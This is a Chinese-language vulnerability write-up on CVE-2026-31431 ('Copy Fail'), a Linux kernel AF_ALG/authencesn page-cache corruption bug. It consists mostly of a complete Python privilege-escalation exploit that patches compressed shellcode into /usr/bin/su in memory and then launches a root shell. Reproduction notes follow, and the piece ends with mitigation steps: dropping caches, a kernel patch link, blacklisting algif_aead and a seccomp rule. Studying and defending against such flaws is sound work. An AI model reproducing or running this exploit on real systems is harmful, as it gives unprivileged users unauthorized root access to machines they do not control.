CVE-2026-31431

For my best ZXH

漏洞原理

CVE-2026-31431 是 Linux 内核authencesnAEAD 加密实现中的一个漏洞,它允许非特权进程通过 AF_ALG 套接字和 splice() 系统调用操作来破坏可读文件的页面缓存。

特征

  • **兼容 Python 3.9+:**包含splice()通过 ctypes 实现的系统调用包装器
  • **便携性:**可在任何存在内核漏洞的 Linux 系统上运行
  • **可靠:**无需比赛条件
  • 干净: 160 字节 shellcode,确定性利用

要求

  • Linux 内核存在身份验证漏洞(2026 年 4 月补丁之前版本)
  • Python 3.9+
  • 非特权用户访问
  • 可读的 setuid 二进制文件(默认值/usr/bin/su:)

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#!/usr/bin/env python3
"""
CVE-2026-31431 "Copy Fail" Exploit
Python 3.9+ compatible (includes splice() syscall wrapper)

This exploit targets a Linux kernel vulnerability in the authencesn AEAD
cryptographic implementation that allows arbitrary writes to the page cache.

For authorized security testing only.
"""
import os
import zlib
import socket
import ctypes
import ctypes.util

# Python 3.9 doesn't have os.splice(), so we implement it via ctypes
# This makes the exploit portable across Python versions

# Load libc
libc = ctypes.CDLL(ctypes.util.find_library('c'))

# Define off64_t type (loff_t in kernel)
class off64_t(ctypes.c_int64):
pass

# Configure splice() syscall signature
# ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out,
# size_t len, unsigned int flags)
libc.splice.argtypes = [
ctypes.c_int, ctypes.POINTER(off64_t),
ctypes.c_int, ctypes.POINTER(off64_t),
ctypes.c_size_t, ctypes.c_uint
]
libc.splice.restype = ctypes.c_ssize_t

def splice(src, dst, count, offset_src=None, offset_dst=None):
"""
Wrapper for splice() syscall matching Python os.splice() API
Compatible with Python 3.9+ (which lacks os.splice())

Args:
src: Source file descriptor
dst: Destination file descriptor
count: Number of bytes to splice
offset_src: Offset in source (None = current position)
offset_dst: Offset in destination (None = current position)
"""
p_off_src = ctypes.pointer(off64_t(offset_src)) if offset_src is not None else None
p_off_dst = ctypes.pointer(off64_t(offset_dst)) if offset_dst is not None else None
result = libc.splice(src, p_off_src, dst, p_off_dst, count, 0)
if result < 0:
raise OSError(f"splice() failed with return code {result}")
return result

def d(x):
"""Decode hex string"""
return bytes.fromhex(x)

def c(f, t, payload):
"""
Core exploitation function
f: target file descriptor
t: offset in target file
payload: 4 bytes to write at offset
"""
# Create AF_ALG socket
a = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

h = 279 # SOL_ALG
v = a.setsockopt

# Set AEAD key
v(h, 1, d('0800010000000010' + '0'*64)) # ALG_SET_KEY

# Set AEAD authsize
v(h, 5, None, 4) # ALG_SET_AEAD_AUTHSIZE

# Accept operation socket
u, _ = a.accept()

o = t + 4 # Offset calculation
i = d('00') # Zero byte

# Send message with ancillary data (triggers vulnerability)
u.sendmsg(
[b"A"*4 + payload],
[
(h, 3, i*4), # ALG_SET_IV
(h, 2, b'\x10' + i*19), # ALG_SET_OP
(h, 4, b'\x08' + i*3), # ALG_SET_AEAD_ASSOCLEN
],
32768
)

# Create pipe for splice
r, w = os.pipe()

# Splice file into pipe, then pipe into socket
# This is where the page cache manipulation happens
splice(f, w, o, offset_src=0)
splice(r, u.fileno(), o)

# Trigger processing
try:
u.recv(8 + t)
except:
pass

u.close()
a.close()

# Main exploit
print("[*] CVE-2026-31431 Copy Fail Exploit")
print("[*] Target: /usr/bin/su")
print()

# Open target file
f = os.open("/usr/bin/su", os.O_RDONLY)
print(f"[+] Opened /usr/bin/su (fd={f})")

# Decompress shellcode
i = 0
e = zlib.decompress(d(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))

print(f"[+] Shellcode size: {len(e)} bytes")
print("[+] Patching /usr/bin/su in page cache...")

# Write shellcode 4 bytes at a time
while i < len(e):
c(f, i, e[i:i+4])
i += 4
if i % 16 == 0:
print(f" Written {i}/{len(e)} bytes...")

print("[+] Page cache patching complete!")
print("[+] Executing modified su...")
print()

# Execute patched su - should give root
os.system("su")

复现

Kali Linux

image-20260506150139447

image-20260506150452532

此处考虑查看页面缓存泄露可视化是否能够直观看出,经查阅资料发现该漏洞的特性就是难以肉眼直观展露。

特性:它只会悄无声息地篡改内存中的页缓存,而绝不会触碰磁盘上的原始文件

Debian 13

本意其实是修改/usr/bin/su的文件注入,通过md5的校验可以看出明显的页面溢出效果

image-20260506155109812

总结

由于本身是篡改内存的漏洞,完成一次提权之后,页面通过su转变身份的那块数据已经被污染,导致su之后的shell窗口异变,但是通过echo 1 | sudo tee /proc/sys/vm/drop_caches清理缓存之后恢复正常,注意此时不清理缓存普通用户可以免密直接切换root用户

image-20260506151248443

加固方法

首先需要知道这个漏洞主要是更改了内存状态所导致,紧急避险就是清除缓存内容,其次校验/usr/bin/su这个文件是否被修改,查看文件的权限

1
echo 1 | sudo tee /proc/sys/vm/drop_caches

再者查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1. 官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,升级至安全版本
https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
2. 针对 Ubuntu、Debian、RHEL/CentOS、SUSE 等用户,官方暂未发布安全更新,请及时关注官方安全公告:
Ubuntu:https://ubuntu.com/security/CVE-2026-31431
Debian:https://security-tracker.debian.org/tracker/CVE-2026-31431
RHEL/CentOS:https://access.redhat.com/security/cve/cve-2026-31431
SUSE:https://www.suse.com/security/cve/CVE-2026-31431.html
3. 缓解措施:
# 禁用内核模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
# 卸载已加载模块
rmmod algif_aead 2>/dev/null
注:针对静态编译进内核的系统(例如:RHEL/CentOS/Rocky Linux/AlmaLinux 8, 9, 10 三代产品),此缓解措施可能无法生效,建议更新官方内核补丁。
# 验证
python3 -c 'import socket; s=socket.socket(38,5,0); (s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) or print("未缓解")) if s else None' 2>/dev/null || echo "已缓解"
4. 容器环境加固
通过 seccomp 禁止 AF_ALG socket 创建(family=38):
"syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{"index": 0, "value": 38, "op": "SCMP_CMP_EQ"}]}]